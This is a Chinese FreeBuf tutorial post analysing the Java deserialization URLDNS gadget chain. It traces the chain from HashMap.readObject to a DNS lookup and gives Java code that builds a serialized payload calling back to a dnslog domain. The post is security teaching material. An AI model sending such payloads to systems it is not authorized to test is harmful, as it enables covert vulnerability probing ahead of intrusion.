freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

JAVA反序列化之URLDNS链
深渊sec 2024-10-21 16:53:35 33475

背景

URLDNS是ysoserial中最简单的⼀条利⽤链,因为其如下的优点,⾮常适合我们在检测反序列化漏洞时使用:

  • 使⽤Java内置的类构造,对第三⽅库没有依赖
  • 在⽬标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞

前言

首先,我认为Java反序列化的挖掘,主要分为一下三个方面:

  • 入口类
  • 目标类
  • 执行函数(rce、文件上传、ssrf)

分析

  • HashMap类中,重写了反序列化的方法,即readObject()方法。

  • readObject()方法调用了hash()方法。

  • hash()方法调用了Key值的hashCode方法。(Object key 我们可控,即需要寻找一个类中存在hashcode方法且可以序列化)

  • 定位到URL类,存在hashcode方法且可以序列化。

1729416996_6714cf2465a98ed373723.png!small?1729416996433

  • 跟进URL类的hashcode方法,进入getHostAddress方法。发现调用了getByName(host)获取目标ip地址,会发送一次DNS请求

1729417036_6714cf4c06e123c5667b7.png!small?1729417036054

1729417049_6714cf59c37b1849c6c49.png!small?1729417049842

思路总结

  1. HashMap->readObject()
  2. HashMap->hash()
  3. URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()
  6. InetAddress->getByName()

小插曲

put方法也会调用hash()方法,我们的dnslog也会收到请求,迷惑我们以为攻击成功,其实不然。果然代码审计也要熟读孙子兵法

hashmap.put(url,1);
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

但是请求一次后hash值会改变,这样我们就无法执行hashCode方法了。

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

所以在写链子的时候,我们就用到了反射这个知识点,修改URL类中hashCode的值。

反序列化链

public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, NoSuchFieldException, IllegalAccessException {
//Person person = new Person("zhangsan", 24, 1213);
//支持序列化,重写了readObject方法,是一个很好的入口类。
HashMap<URL, Integer> hashmap = new HashMap<>();
URL url = new URL("http://shenyuan8.dnslog.pw");

Class c = url.getClass();
Constructor constructor = c.getConstructor(String.class);
//修改URL类中的私有变量hashCode
Field code = c.getDeclaredField("hashCode");
code.setAccessible(true);
code.set(url,123);
hashmap.put(url,1);
code.set(url,-1);
serialize(hashmap);


}
# java反序列化
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 深渊sec 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
深渊sec LV.3
工作时间,请称职务。
  • 4 文章数
  • 1 关注者
针对于file_put_contents的一些小技巧
2024-10-19
快速代码审计思路
2024-10-14
无回显rce-如何带出数据?
2024-10-09
文章目录